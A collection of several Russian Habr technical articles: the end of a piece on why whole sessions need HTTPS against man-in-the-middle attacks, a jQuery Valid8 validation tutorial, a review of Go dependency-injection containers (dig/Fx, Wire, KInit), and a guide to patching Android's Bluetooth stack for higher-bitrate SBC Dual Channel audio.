Когда есть угроза атаки «человек посередине», мы не должны просто защищать форму авторизации, а потом её закрывать. Куки пользовательских сессий и все вводимые данные, а также весь получаемый пользователями HTML-код не будут в безопасности при работе через HTTP. Злоумышленник может украсть куки и выдать себя за пользователя, может внедрить XSS-код в получаемые пользователями страницы для выполнения задач от лица пользователей или управления их действиями. И для всего этого не нужны пользовательские пароли.
Одна лишь защита процесса аутентификации с помощью HTTPS предотвратит прямую кражу пароля, но не защитит от перехвата сессии, других форм кражи данных, а также от внедрения кода для XSS-атак. Защищая с помощью HTTPS одного лишь пользователя, мы обеспечиваем недостаточную защиту на транспортном уровне. Наши пользователи остаются уязвимы к атакам «человек посередине». | https://habr.com/ru/post/352444/ | null | ru | null |
# Валидация в JavaScript с помощью Valid8
Часто приходится «насыщать» интерфейсы с помощью JavaScript. В основном работаю через jQuery, всё нравится, но одна беда – валидация. Постоянно приходится изобретать «велосипед», искать в сети обрывки кода; а ведь хочется написать пару строчек без углубления в детали. Радость не заставила себя ждать: нашёл библиотеку **Valid8** (произносится как validate), и, наконец, решил проблему написания кода валидации.
#### Как пользоваться
Пользоваться библиотекой оказалось очень просто, чего не скажешь о склеивании jQuery «обрезков» из интернета. Чтобы подключить библиотеку, нужно зайти [сюда](http://unwrongest.com/projects/valid8/) и нажать заветный **Download**. Скачается архив, в котором особый интерес представляет файл *jquery.valid8.js*, его копируем в папку с js файлам нашего проекта и подключаем библиотеку в html:
```
```
Допустим у нас есть форма:
```
*
```
Добавляем валидацию (по умолчанию только проверка обязательности заполения), передавая в качестве параметра строку с сообщением об ошибке. Работаем в стиле jQuery:
```
$('#inputSome').valid8("Заполни это поле!");
```
После того как поле получит фокус и вы из него выйдете не заполнив, объемлющий тег (в нашем случае **li**) получит класс стиля *error*.
Для визуализации ошибок добавим CSS в **head** нашего документа:
```
.error input { background:pink; }
```
Валидация готова. Все.
#### Возможности поинтереснее
Функционал Valid8 не ограничивается проверкой заполнения. Для серьёзной работы можно подключить регулярные выражения:
```
$('#inputSome').valid8({
'regularExpressions': [
{ expression: /^.+$/, errormessage: 'Заполни это поле!'},
{ expression: /^[habr]+$/|>, errormessage: 'Вы можете использовать только символы h, a, b, r'}
]
});
```
Теперь в поле можно вводить только символы, соответствующие обоим регулярным выражениям. Первое запрещает оставлять поле пустым, а второе добавляет ограничение на ввод 4-мя символами: можно ввести **habr**, **babr**, **habrahabr**, или что-то производное, соответствующее выражению.
#### Ну и Ajax разумеется
Можно для валидации использовать сервер:
```
$('#inputSome').valid8({
'ajaxRequests': [
{ url: '/ajax/validation/' }
]
});
```
Теперь библиотека будет общаться с сервером для проверки вводимого значения (например, предупреждать о зарегистрированном логине). На сервер значение в поле передаётся через POST в параметре **value**. Сервер должен вернуть ответ в формате JSON:
```
{"valid": true, "message": "Отлично, такого пользователя ещё нет!"}
```
Можно совмещать валидацию по регулярным выражениям и серверу. Есть другие возможности: определение события, по которому происходит валидация, интервал проверки, js функции валидации.
##### Источники
[Библиотека Valid8](http://unwrongest.com/projects/valid8/)
[Библиотека jQuery](http://jquery.com/) | https://habr.com/ru/post/128321/ | null | ru | null |
# Внедрение зависимостей в GO
Идея [внедрения зависимости](https://en.wikipedia.org/wiki/Dependency_injection) проста: объект, зависящий от другого объекта, делегирует управление его жизненным циклом внешнему коду.
Здесь объект самостоятельно управляет жизненным циклом своей зависимости:
```
func NewGreeter(name string) (*Greeter, error) {
sender, err := NewSender()
if err != nil {
return nil, err
}
return Greeter{name, sender}, nil
}
func (g Greeter) Greet() error {
return g.sender.Send("Hello, " + g.name + "!")
}
func (g *Greeter) Close() error {
return g.sender.Close()
}
g, err := NewGreeter("Go")
if err != nil {
panic(err)
}
defer g.Close()
g.Greet()
```
А здесь он делегирует эту задачу - это и есть [Dependency Injection](https://habr.com/ru/post/350068/):
```
func NewGreeter(name string, sender *Sender) *Greeter {
return Greeter{name, sender}
}
func (g Greeter) Greet() error {
return g.sender.Send("Hello, " + g.name + "!")
}
s, err := NewSender()
if err != nil {
panic(err)
}
defer s.Close()
g := NewGreeter("Go", s)
g.Greet()
```
Такой подход, несмотря на свою простоту, даёт существенные преимущества:
* Код [менее связен](https://en.wikipedia.org/wiki/Loose_coupling): изменения в конструкторе зависимости не затронут зависимый объект.
* Код проще тестировать: в тестовом окружении в качестве зависимости можно передать [mock-объект](https://en.wikipedia.org/wiki/Mock_object).
* Реализуется [принцип единственной ответственности](https://en.wikipedia.org/wiki/Single-responsibility_principle): зависимый объект содержит только собственную логику.
* Легко реализовать [принцип инверсии зависимостей](https://en.wikipedia.org/wiki/Dependency_inversion_principle): достаточно объявить зависимость от интерфейса, а не конкретного типа. Это же сделает зависимый объект [открытым для расширения без модификации](https://en.wikipedia.org/wiki/Open%E2%80%93closed_principle) (например, здесь можно записывать приветствие в лог при отправке).
* Зависимость может быть повторно использована (вплоть до того, что окажется [синглтоном](https://en.wikipedia.org/wiki/Singleton_pattern)).
Однако платой за всё это является дополнительное требование - зависимостями нужно управлять. Для небольших кодовых баз это не представляет проблемы. Но сложность со временем обычно только возрастает - для Go, конечно, в отличие от той же Java не характерно использование [фабрик фабрик](https://thedailywtf.com/articles/Enterprise-Dependency-Big-Ball-of-Yarn), но однажды отслеживание [графа зависимостей](https://en.wikipedia.org/wiki/Dependency_graph) может превратиться в отдельную задачу даже для [микросервиса](https://livebook.manning.com/book/soa-patterns/chapter-8/5): конфигурация, логи, метрики, кэши, базы данных, брокеры, сервера протоколов, клиенты внутренних и внешних сервисов и т.д., не говоря уже про всевозможные разветвлённые внутренние абстракции в виде роутеров, сервисных слоёв или репозиториев.
Решить эту проблему призваны *DI-контейнеры*. В общих чертах контейнер работает следующим образом:
* Сначала необходимо *сконфигурировать* контейнер - сообщить ему способы создания объектов определённых типов (в более общем случае правильнее говорить об абстрактных идентификаторах объектов, но всё же обычно в этой роли выступают именно типы). Разные реализации предлагают для этого различные пути - причём некоторые из них предполагают использование специальных файлов конфигурации вместо кода.
* После этого контейнер [по запросу](https://en.wikipedia.org/wiki/Lazy_initialization) может предоставить уже полностью готовый к использованию объект нужного типа. При этом контейнер рекурсивно *разрешает зависимости* - если для создания объекта нужны объекты других типов, они будут неявно созданы внутри контейнера и затем использованы при создании основного объекта. Обычно каждый объект рассматривается как синглтон - контейнер создаёт его один раз и затем использует везде, где он требуется. Но опять же, для разных реализаций существуют нюансы.
* В конце жизненного цикла каждого созданного им объекта контейнер автоматически уничтожает его, если это необходимо. И снова - понятие "конца жизненного цикла" различается от реализации к реализации. Как минимум, можно быть уверенным в том, что оно совпадает с концом жизненного цикла самого контейнера, который в свою очередь гарантированно совпадёт с завершением программы.
Здесь я хочу упомянуть и после навсегда забыть [Service Locator](https://en.wikipedia.org/wiki/Service_locator_pattern). По большому счёту это то, с чего мы начинали: объект зависит от локатора, из которого сам извлекает (pull) свои зависимости. Хотя такой подход несколько снижает связность кода и повышает его тестируемость за счёт отсутствия взаимодействия конструктора зависимого объекта с конструкторами зависимостей, но сами зависимости при этом скрыты: нет никакого иного пути узнать их, кроме как "подсмотреть" в документации (если она есть) или непосредственно в коде объекта. На мой взгляд, SL заслуженно считается многими анти-паттерном.
В основном же, когда речь идёт о DI, имеется в виду [IoC](https://en.wikipedia.org/wiki/Inversion_of_control)-контейнер. Инверсия управления заключается в том, что программист просто объявляет зависимости в форме аргументов функций (в том числе конструкторов), а контейнер вызывает эти функций, передавая (push) в них нужные значения (собственно говоря, "внедряя зависимости"). Также контейнер может присваивать значения свойствам объектов, однако этот способ рекомендуется использовать только для опциональных зависимостей, тогда как обязательные принимать исключительно через аргументы конструктора. Другими словами, когда нам нужно вызвать функцию, мы передаём её контейнеру, а он уже разрешает её зависимости и вызывает её, когда всё готово.
Тут много магии. Однако зависимость от контейнера весьма слабая - все объекты по-прежнему могут быть созданы, а функции вызваны, вручную (например, при тестировании). В то же время, для больших графов зависимостей от контейнера есть ощутимая польза - он полностью автоматизирует сложную рутинную задачу, при этом не требуя (или почти не требуя) изменений в коде. Таким образом, можно начать с программы из базы данных и логгера, управляемых вручную, а затем подключить контейнер, когда в нём появится реальная необходимость.
Что там с этим в GO?
--------------------
Многие фреймворки в других языках поддерживают внедрение зависимостей из коробки - некоторые даже основаны на нём. В качестве примеров можно привести [Spring](https://docs.spring.io/spring-framework/docs/current/reference/html/core.html), [.NET Framework](https://docs.microsoft.com/en-us/dotnet/core/extensions/dependency-injection), [Symfony](https://symfony.com/doc/current/components/dependency_injection.html), [Laravel](https://laravel.com/docs/8.x/container), [Angular](https://angular.io/guide/dependency-injection), [Dagger](https://developer.android.com/training/dependency-injection). Даже для [C++](https://github.com/google/fruit) и [Rust](https://crates.io/crates/shaku) можно что-то найти, но глядя на список невольно обращаешь внимание, что темой DI в основном интересуется кровавый энтерпрайз :)
В сообществе Go эта тема не очень популярна, но тем не менее представлена [Wire](https://github.com/google/wire) от [Google](https://blog.golang.org/wire) и [Fx](https://github.com/uber-go/fx) от Uber (там внутри используется [dig](https://github.com/uber-go/dig)). Их можно считать основными, хотя есть ещё [ряд проектов](https://github.com/avelino/awesome-go#dependency-injection) (аттеншн! в списке по ссылке не тот wire).
Итак, давайте взглянем на эти проекты, чтобы оценить их преимущества и недостатки. Я также скромно добавлю к обзору и свой проект [KInit](https://github.com/go-kata/kinit).
Uber Fx
-------
[github.com/uber-go/fx](https://github.com/uber-go/fx)
[github.com/uber-go/dig](http://github.com/uber-go/dig)
Начнём с dig, который исторически был одной из первых реализаций DI в Go (Fx использует его под капотом). Механизм работы этого контейнера основан на [рефлексии](https://golang.org/pkg/reflect/). С точки зрения производительности это не так плохо, как может показаться - в подавляющем большинстве случаев DI работает только на этапе инициализации приложения, и медленная рефлексия в этот момент лишь капля в море. Основной недостаток здесь скорее в том, что об ошибках в графе зависимостей (в частности, о циклических и неудовлетворённых зависимостях) можно узнать только запустив программу, а не во время компиляции. Но при наличии проблем программа сломается при запуске, а не во время работы, так что это можно принять.
Для начала работы с dig потребуется явно создать контейнер:
```
c := dig.New()
```
Затем нужно сконфигурировать контейнер:
```
if err := c.Provide(NewLogger); err != nil {
...
}
if err := c.Provide(NewDB); err != nil {
...
}
```
После этого можно вызвать точку входа программы:
```
if err := c.Invoke(func (logger *log.Logger, db *sql.DB) error { ... }); err != nil {
...
}
```
Пока выглядит даже несколько менее удобно, чем ручное управление зависимостями - как минимум, зависимости конструкторов `NewLogger` и `NewDB` из кода не очевидны, хотя способ их создания нужно по-прежнему явно сообщить контейнеру. То есть если `NewDB` зависит, скажем, от конфигурации, то программа успешно скомпилируется, но при запуске сломается с ошибкой вида:
```
missing dependencies for function ... (path/to/file.go:42): missing type: *Config
```
Кроме того, `*sql.DB` реализует интерфейс `io.Closer`, но метод `db.Close` нигде не вызывается. Хотя Go в состоянии самостоятельно освободить системные ресурсы при завершении программы, это всё же не очень хорошо.
Тем не менее, давайте посмотрим, что можно со всем этим сделать.
Для начала, имеет смысл вынести инициализацию контейнера в отдельную функцию. Можно также сделать контейнер глобальным, что позволит регистрировать конструкторы непосредственно в соответствующих пакетах:
```
package object
import (
".../container"
".../other"
)
func init() {
if err := container.Provide(New); err != nil {
panic(err)
}
}
type Object struct { ... }
func New(o *other.Other) (*Object, error) { ... }
```
Тогда при импорте пакета `object` в контейнере автоматически окажется его конструктор вместе с конструкторами всех импортируемых им зависимостей. Это одновременно распределит когнитивную нагрузку по управлению зависимостями и задействует все преимущества системы импортов Go (например, очень сложно будет создать циклическую зависимость, а неиспользуемые зависимости просто не попадут в контейнер).
Но давайте предположим, что мы не хотим связываться с глобальным состоянием, и остановимся на выделенной функции. Она делает возможным следующее:
```
func run(logger *log.Logger, db *sql.DB) error { ... }
// +build !validate
func main() {
c, err := NewContainer()
if err != nil {
panic(err)
}
if err := c.Invoke(run); err != nil {
panic(err)
}
}
// +build validate
func main() {
c, err := NewContainer(dig.DryRun(true)) // DryRun указывает dig не выполнять
// функции, а просто анализировать
// их сигнатуры.
if err != nil {
panic(err)
}
if err := c.Invoke(run); err != nil {
panic(err)
}
}
```
Теперь можно просто запустить команду
```
go run -tags validate
```
и получить результат валидации графа зависимостей без фактического запуска программы.
Но можно и не усложнять и вместо тэгов просто использовать тесты :)
А вот заставить dig вызвать `db.Close` не получится - он просто этого не умеет. Чтобы справиться с этой проблемой, нужно использовать Fx.
Fx вводит понятие приложения, в котором контейнер - лишь одна из составных частей. Другой его составной частью является `fx.Lifecycle`, который и позволит зарегистрировать хук для этапа остановки приложения:
```
func NewDB(lc fx.Lifecycle, logger *log.Logger) (*sql.DB, error) {
db, err := sql.Open("...")
if err != nil {
return nil, err
}
logger.Print("database initialized")
lc.Append(fx.Hook{
OnStop: func(context.Context) error {
logger.Print("database finalized")
return db.Close()
},
})
return db, nil
}
app := fx.New(
fx.Provide(
NewLogger,
NewDB,
),
fx.Invoke(run),
)
app.Run() // Блокируется в ожидании SIGINT, можно использовать Start/Stop.
```
Мы теряем возможность использовать DryRun, но зато можем наконец закрыть базу данных (но не в случае паники).
Зависимость конструктора от `fx.Lifecycle` выглядит неприятно - она автоматически делает Fx несовместимым со стандартными (и нормально тестируемыми) конструкторами, которые придётся оборачивать специально для фреймворка.
Аналогично в dig есть `dig.In` и `dig.Out`, расширяющие возможности сигнатур функций - но с ними можно ни разу не столкнуться за всё время использования контейнера, поэтому это скорее безобидные костыли. А вот освобождение ресурсов - задача довольно типовая, и для меня выглядит странным, что для неё dig не предлагает простого решения.
Больше информации про [dig](https://pkg.go.dev/go.uber.org/dig) и [Fx](https://pkg.go.dev/go.uber.org/fx) можно найти в документации к ним. Я же предлагаю рассмотреть следующий проект.
Google Wire
-----------
[github.com/google/wire](https://github.com/google/wire)
Этот проект кардинально отличается от предыдущего тем, что предлагаемый им механизм DI основан на кодогенерации. Это снимает все вопросы, связанные с производительностью, и позволяет обнаруживать проблемы с графом зависимостей во время компиляции.
Также преимуществом Wire является то, что контейнер конфигурируется не с помощью каких-то специальных файлов, а непосредственно с помощью кода Go... Ну, тут, как мне кажется, требуется небольшое уточнение - *в формате* кода Go. Дело в том, что все функции пакета `wire`, используемые для конфигурирования, по сути представляют собой просто декларативные маркеры и не содержат никакого кода. Настоящий код генерируется утилитой *wire*, которая интерпретирует эти маркеры согласно своим правилам - от пакета `wire` результат генерации уже никак не зависит. Это одновременно и плюс, и минус: с одной стороны, мы в результате получаем нативный код, но с другой - за его появлением стоит даже больше магии, чем обычно и так привносят DI-контейнеры. Впрочем, для Go кодогенерация давно стала привычным инструментом, поэтому плюс в данном случае более существенен.
Wire основан на двух понятиях - провайдерах и инжекторах. Программист описывает функцию-инжектор на Go-совместимом языке Wire, декларируя функции-провайдеры, а Wire на основе описания генерирует реальный код инжектора, эти провайдеры использующий.
Создаём файл **wire.go** (имя не принципиально):
```
// +build wireinject
package main
import (
"database/sql"
"log"
"github.com/google/wire"
)
type Container struct {
Logger *log.Logger
DB *sql.DB
}
func NewContainer() (*Container, func(), error) {
panic(wire.Build(
NewLogger,
NewDB,
wire.Struct(new(Container), "*"),
))
}
```
Запускаем Wire:
```
> wire github.com/user/module
< wire: github.com/user/module/wire: wrote path/to/module/wire_gen.go
```
Получаем сгенерированный код в файле **wire\_gen.go** (исходное имя с постфиксом *\_gen*):
```
// Code generated by Wire. DO NOT EDIT.
//go:generate go run github.com/google/wire/cmd/wire
//+build !wireinject
package main
import (
"database/sql"
"log"
)
// Injectors from wire.go:
func NewContainer() (*Container, func(), error) {
logger, cleanup, err := NewLogger()
if err != nil {
return nil, nil, err
}
db, cleanup2, err := NewDB(logger)
if err != nil {
cleanup()
return nil, nil, err
}
container := &Container{
Logger: logger,
DB: db,
}
return container, func() {
cleanup2()
cleanup()
}, nil
}
// wire.go:
type Container struct {
Logger *log.Logger
DB *sql.DB
}
```
Сразу остановлюсь на функциях *cleanup*. Это способ очистки ресурсов, предлагаемый Wire. Для базы данных провайдер может выглядеть так:
```
func NewDB(logger *log.Logger) (*sql.DB, func(), error) {
db, err := sql.Open("...")
if err != nil {
return nil, nil, err
}
logger.Print("database initialized")
return db, func() {
_ = db.Close()
logger.Print("database finalized")
}, nil
}
```
Wire принимает и стандартные конструкторы вида `func(...) T` и `func(...) (T, error)`, но для них никакой финализации не выполняется, даже если `T` имплементирует `io.Closer`.
Это конечно лучше, чем зависимость конструктора от `fx.Lifecycle`, но всё же создаёт те же проблемы: несовместимость со стандартными конструкторами и отсутствие гарантий финализации при панике. Однако наличие такой функциональности из коробки, причём весьма просто реализованной, лично меня обрадовало.
По большому счёту, это и есть весь Wire - простой для понимания и полезный в работе. О его дополнительных фичах вы можете подробнее прочитать в [документации](https://github.com/google/wire/blob/main/docs/guide.md#advanced-features).
А что с распределением конфигурации по пакетам, которую для dig получилось реализовать с помощью глобального контейнера? В какой-то мере это можно реализовать с помощью [Provider Sets](https://github.com/google/wire/blob/main/docs/best-practices.md), но необходимо помнить, что для одного типа в `wire.Build` может существовать только один провайдер. Это может оказаться проблемой для разделяемых транзитивных зависимостей: если, скажем, клиент базы данных и консьюмер сообщений оба зависят от логгера, который кроме них больше никому не нужен, то оба объекта не могут включить его провайдер в свой Provider Set - в этом случае возникнет конфликт между двумя провайдерами для одного типа. Использовать же какие-то динамические структуры типа массива провайдеров мешает тот факт, что код Wire - это не код Go, а значит, допустим, оператор распаковки массива генератору ни о чём не скажет. Так что по большому счёту конфигурировать контейнер можно только в одном месте - в описании инжектора.
Итак, Wire выглядит довольно хорошо в качестве реализации DI в Go, даже несмотря на то, что пока ещё остаётся в бета-версии (на момент написания статьи последней версией была 0.5.0). Я думаю, что часть его недостатков, если не они все, вполне могут быть устранены в будущих версиях.
В заключение я предлагаю рассмотреть мой собственный проект DI-контейнера.
KInit
-----
[github.com/go-kata/kinit](https://github.com/go-kata/kinit)
[github.com/go-kata/examples](https://github.com/go-kata/examples)
Я исходил из следующих требований, разрабатывая эту библиотеку:
* Гарантия очистки ресурсов даже в случае паники. Мне кажется весьма странным то, что ни одна из реализаций DI в Go не уделила этому должного внимания.
* Совместимость со стандартными конструкторами. Опять же - весьма странно, что во всех реализациях с этим возникают проблемы.
* Возможность распределения конфигурации по пакетам.
* Возможность валидации графа зависимостей без (реального) запуска программы. Опционально - возможность визуализации графа.
* Пошаговая инициализация, при которой во время выполнения основной функции (не конструктора) можно в зависимости от текущих условий (например, указанной в строке запуска субкоманды) программно определить, какие дополнительные зависимости потребуются для продолжения работы. В существующих реализациях подобное сделать если и возможно, то скорее не с помощью библиотеки, а вопреки ей.
В результате получилось следующее.
Библиотека по умолчанию предлагает глобальный основанный на рефлексии DI/IoC-контейнер, который пакеты могут конфигурировать аналогично тому, как это было сделано для dig. Контейнер может быть проверен на отсутствие циклических и неудовлетворённых зависимостей опять же аналогично способу, описанному для dig.
Я выбрал рефлексию, поскольку нашёл способ преодолеть её основной недостаток (ошибки только в рантайме) и посчитал, что она позволяет реализовать более гибкий механизм, нежели кодогенерация. Кроме того, я решил, что никогда не поздно добавить генерацию кода на основе конфигурации глобального контейнера, тогда как проделать обратную трансформацию механизма куда сложнее.
При необходимости может быть создан, вручную сконфигурирован и провалидирован локальный контейнер. Однако я сам вижу для него единственное применение - тесты. В остальных случаях глобальный контейнер использовать намного удобнее.
Конфигурирование контейнера заключается в регистрации в нём конструкторов и *процессоров*. Процессор - это такая штука, которая запускается после создания объекта конструктором, причём для одного типа может быть зарегистрировано сразу несколько процессоров (конструктор же может быть только один). В самом начале я говорил про внедрение опциональных зависимостей через свойства объекта - процессоры предназначены как раз для этого.
KInit рассматривает и конструкторы, и процессоры как интерфейсы. Реализует эти интерфейсы (причём в нескольких вариантах) набор расширений KInitX. Их может реализовать и пользователь, если у него возникнет потребность в специфичном механизме. Например, конструкторов существует два вида - один основан на функциях, в то время как другой похож на `wire.Struct` и инициализирует структуры на месте (актуально для структур с большим количеством полей). Если потребуется сделать специфический конструктор, использующий что-то типа `dig.In` или именованных типов - его можно реализовать и использовать в KInit наряду с библиотечными.
Сконфигурировать глобальный контейнер можно как-то так:
```
// Конструктор рассматривает экспортируемые поля структуры
// как её зависимости.
kinitx.MustProvide((*Config)(nil))
// Процессор выполняет загрузку уже созданной структуры
// со значениями по умолчанию из файла.
kinitx.MustAttach((*Config).Load)
// Конструктор создаёт клиент базы данных, метод Close которого
// будет гарантированно вызван даже в случае паники.
kinitx.MustProvide(NewDB) // func NewDB(...) (*sql.DB, error)
// Псевдо-конструктор связывает интерфейс с реализацией.
kinitx.MustBind((*StorageInterface)(nil), (*PostgresStrorage)(nil))
```
После того, как контейнер сконфигурирован, в нём может быть запущен *функтор* - некоторая функция, также представленная интерфейсом. Функтор может возвратить другие функторы, которые должны быть запущены после него. Зависимости функторов разрешаются по мере необходимости и уничтожаются после того, как не останется функторов, ожидающих выполнения.
Работать с функторами можно примерно так:
```
func run(logger *log.Logger, db *sql.DB) (further kinit.Functor, err error) {
...
}
// Функтор регистрируется для учёта
// его зависимостей при валидации контейнера.
kinitx.MustConsider(run)
// Последовательность событий:
// 1. Создаются зависимости функтора run.
// 2. Функтор run запускается.
// 3. Создаются недостающие зависимости функтора further.
// 4. Функтор further запускается.
// 5. Зависимости, созданные на шагах 1 и 3, уничтожаются.
kinitx.MustRun(run)
```
Ещё есть недокументированные функции, позволяющие запустить в контейнере функцию, пока вы запускаете функцию - но на то они и недокументированные :) Если они покажутся вам интересными, то отправная точка исследования [здесь](https://github.com/go-kata/kinit/blob/master/kinitx/injector.go).
Спасибо за внимание! Я надеюсь, что эта статья была для вас полезна. Давайте обсудим DI в Go в комментариях | https://habr.com/ru/post/541676/ | null | ru | null |
# Модифицируем Bluetooth-стек для улучшения звука на наушниках без кодеков AAC, aptX и LDAC
*Перед прочтением этой статьи рекомендуется ознакомиться с предыдущей статьёй: [Аудио через Bluetooth: максимально подробно о профилях, кодеках и устройствах](https://habr.com/ru/post/427997/) / [in English](https://habr.com/en/post/456476/)*
Некоторые пользователи беспроводных наушников отмечают низкое качество звука и недостаток высоких частот при использовании стандартного Bluetooth-кодека SBC, который поддерживают все аудиоустройства. Частой рекомендацией для улучшения звука является покупка устройств и наушников с поддержкой кодеков aptX и LDAC. Эти кодеки требуют лицензионных отчислений, поэтому устройства с их поддержкой стоят дороже.
Оказывается, низкое качество SBC обусловлено искусственными ограничениями Bluetooth-стеков и настроек наушников, и это ограничение можно обойти на любых существующих устройствах, путём программных изменений смартфона или компьютера.
Кодек SBC
---------
У кодека SBC есть множество разных параметров, которые согласуются на этапе установки соединения. Среди них:
* Количество и тип каналов: Joint Stereo, Stereo, Dual Channel, Mono;
* Количество частотных полос: 4 или 8;
* Количество блоков в пакете: 4, 8, 12, 16;
* Алгоритм распределения битов при квантовании: Loudness, SNR;
* Максимальное и минимальное значение пула битов, используемых при квантовании (bitpool): обычно, от 2 до 53.
Декодирующее устройство обязано поддерживать любое сочетание этих параметров. Кодирующее устройство может реализовывать не все.
Существующие Bluetooth-стеки, как правило, согласуют следующий профиль: Joint Stereo, 8 полос, 16 блоков, Loudness, bitpool 2..53. Этот профиль кодирует 44.1 кГц аудио с битрейтом 328 кбит/с.
Параметр bitpool напрямую влияет на битрейт в рамках одного профиля: чем он выше, тем выше битрейт, а следовательно и качество.
Однако параметр bitpool не привязан к конкретному профилю; влияние на битрейт также в значительной степени оказывает и другие параметры: тип каналов, количество частотных полос, количество блоков. Поднять битрейт можно косвенно, путем согласования нестандартных профилей, без изменения bitpool.
*Формула подсчета битрейта SBC*
Например, режим Dual Channel кодирует каналы раздельно, используя весь bitpool для каждого из каналов. Заставив устройство использовать Dual Channel вместо Joint Stereo, мы получим почти удвоенный битрейт при том же максимальном значении bitpool: 617 кбит/с.
По моему мнению, использование не привязанного к профилю значения bitpool на этапе согласования — недоработка стандарта A2DP, которая и привела к искусственному ограничению качества SBC. Разумней было бы согласовывать bitrate, а не bitpool.
Такие фиксированные значения Bitpool и Bitrate берут свое начало из таблицы с рекомендованными к использованию значениями для высококачественного аудио. Но рекомендация — не повод ограничиваться этими значениями.
Спецификация A2DP v1.2, которая была активна с 2007 по 2015 год, предписывает всем декодирующим устройствам корректно работать с битрейтами до 512 кбит/с:
> The decoder of the SNK shall support all possible bitpool values that do not result in excess of the maximum bit rate. This profile limits the available maximum bit rate to 320kb/s for mono, and 512kb/s for two-channel modes.
В новой версии спецификации ограничение по битрейту отсутствует. Предполагается, что современные наушники, выпущенные после 2015 года и поддерживающие EDR, могут поддерживать битрейты до ≈730 кбит/с.
По какой-то причине, у проверенных мной Bluetooth-стеков Linux (PulseAudio), Android, Blackberry и macOS есть искусственные ограничения максимального значения параметра bitpool, который напрямую влияет на максимальный битрейт. Но это — не самая большая проблема, почти все наушники тоже ограничивают максимальное значение bitpool числом 53.
Как я уже успел убедиться, большинство устройств отлично работает на модифицированном Bluetooth-стеке с битрейтом в 551 кбит/с, без прерываний и треска. Но такой битрейт никогда не будет согласован в обычных условиях, на обычных Bluetooth-стеках.
Модифицируем Bluetooth-стек
---------------------------
В любом Bluetooth-стеке, который совместим со стандартом A2DP, есть поддержка режима Dual Channel, но активировать её из интерфейса не представляется возможным.
Давайте добавим переключатель в интерфейс! Я сделал патчи для Android 8.1 и Android 9, которые добавляют полноценную поддержку Dual Channel в стек, добавляют режим в меню переключения режима в инструменты разработчика, и обрабатывают SBC с поддержкой Dual Channel так, будто это дополнительный кодек, вроде aptX, AAC или LDAC (Android называет это HD Audio), добавляя галочку в настройки Bluetooth-устройства. Вот как это выглядит:
[Патч для Android 9](https://review.lineageos.org/q/topic:bt-sbc-hd-dualchannel-pie+(status:open%20OR%20status:merged))
[Патч для Android 8.1](https://review.lineageos.org/q/topic:bt-sbc-hd-dualchannel+(status:open%20OR%20status:merged))
При активации галочки, Bluetooth-аудио начинает передаваться с битрейтом **551 кбит/с**, если наушники поддерживают соединение на скорости 3 мбит/с, или **452 кбит/с**, если наушники поддерживают только 2 мбит/с.
Данный патч включён в следующие альтернативные прошивки:
* **LineageOS**
* **Resurrection Remix**
* **crDroid**
Откуда взялись 551 и 452 кбит/с?
--------------------------------
Технология разделения эфира в Bluetooth предназначена для эффективной передачи больших пакетов фиксированного размера. Передача данных происходит слотами, самое большое количество слотов, отправляемых за одну передачу — 5. Также есть режимы передачи, использующие 1 или 3 слот, но не 2 или 4. В 5 слотах можно передать до 679 байт на скорости соединения 2 мбит/с и до 1021 байт на скорости 3 мбит/с, а в 3 — 367 и 552 байта соответственно.
Если мы хотим передать меньше данных, чем 679 или 1021 байт, но больше, чем 367 или 552 байта, то передача всё равно займет 5 слотов, а данные будет передаваться за такое же время, что уменьшает эффективность передачи.
SBC в режиме Dual Channel, на 44100 Гц-аудио с параметрами Bitpool 38, 16 блоков во фрейме, 8 частотных диапазонов, кодирует аудио во фреймы размером 164 байт, с битрейтом 452 кбит\с.
Аудио должно быть инкапсулировано в протоколы передачи L2CAP и AVDTP, которые забирают 16 байт от полезной аудионагрузки.
Таким образом, в одну Bluetooth-передачу с 5 слотами удаётся вместить 4 аудиофрейма:
```
679 (EDR 2 mbit/s DH5) - 4 (L2CAP) - 12 (AVDTP/RTP) - 1 (заголовок SBC) - (164*4) = 6
```
Мы вместили 11.7 мс аудиоданных в отправляемый пакет, который будет передан за 3.75 мс, и у нас осталось 6 неиспользованных байт в посылке.
Если чуть поднять bitpool, 4 аудиофрейма уже не удастся упаковать в одну посылку. Придётся отправлять по 3 фрейма за раз, что снижает эффективность передачи, уменьшает количество передаваемого аудио за одну посылку, и быстрее приведёт к заиканиям аудио при плохих радиоусловиях.
Таким же образом был подобран битрейт 551 кбит/с для EDR 3 мбит/с: с Bitpool 47, 16 блоками во фрейме, 8 частотными диапазонами получается размер фрейма 200 байт, при битрейте 551 кбит/с. В одну посылку вмещается 5 фреймов или 14.6 мс музыки.
Алгоритм расчёта всех параметров SBC достаточно сложный, можно легко запутаться, если считать вручную, поэтому я сделал интерактивный калькулятор в помощь интересующимся: [btcodecs.valdikss.org.ru/sbc-bitrate-calculator](https://btcodecs.valdikss.org.ru/sbc-bitrate-calculator/)
Зачем всё это нужно?
--------------------
Вопреки расхожему мнению о качестве звука кодека aptX, на некоторых файлах он может давать результаты хуже, чем SBC со стандартным битрейтом в 328 кбит/с.
SBC динамически выделяет биты квантования для частотных полос, действуя по принципу «от нижних к верхним». Если весь битрейт использовался на нижние и средние частоты, верхние частоты «обрежутся» (вместо них будет тишина).
aptX квантует частотные полосы одним и тем же количеством бит постоянно, из-за чего у него постоянный битрейт: 352 кбит/с для 44.1 кГц, 384 кбит/с для 48 кГц, и он не может «перенести биты» на те частоты, которые больше всего в них нуждаются. В отличие от SBC, aptX не будет «обрезать» частоты, а будет добавлять в них шумы квантования, уменьшая динамический диапазон аудио, и иногда привносить характерные потрескивания. SBC же «съедает детали» — отбрасывает наиболее тихие участки.
В среднем, по сравнению с SBC 328k, aptX вносит меньше искажений в музыку с широким частотным диапазоном, но на музыке с узким диапазоном частот и широким динамическим диапазоном SBC 328k иногда выигрывает.
Рассмотрим частный случай. Спектрограмма записи игры на фортепиано:
[](https://habrastorage.org/webt/er/nq/rc/ernqrcwa0ic5mqwopjg5zbu_fxm.png)
Основная энергия лежит в частотах от 0 до 4 кГц, и продолжается до 10 кГц.
Спектрограмма файла, сжатого в aptX, выглядит следующим образом:
[](https://habrastorage.org/webt/dl/bl/do/dlbldoq_rdrjykephl2ostfbafk.png)
А так выглядит SBC 328k.
[](https://habrastorage.org/webt/us/3m/ke/us3mke0av1s_1ezkyk6ycq1g2vo.png)
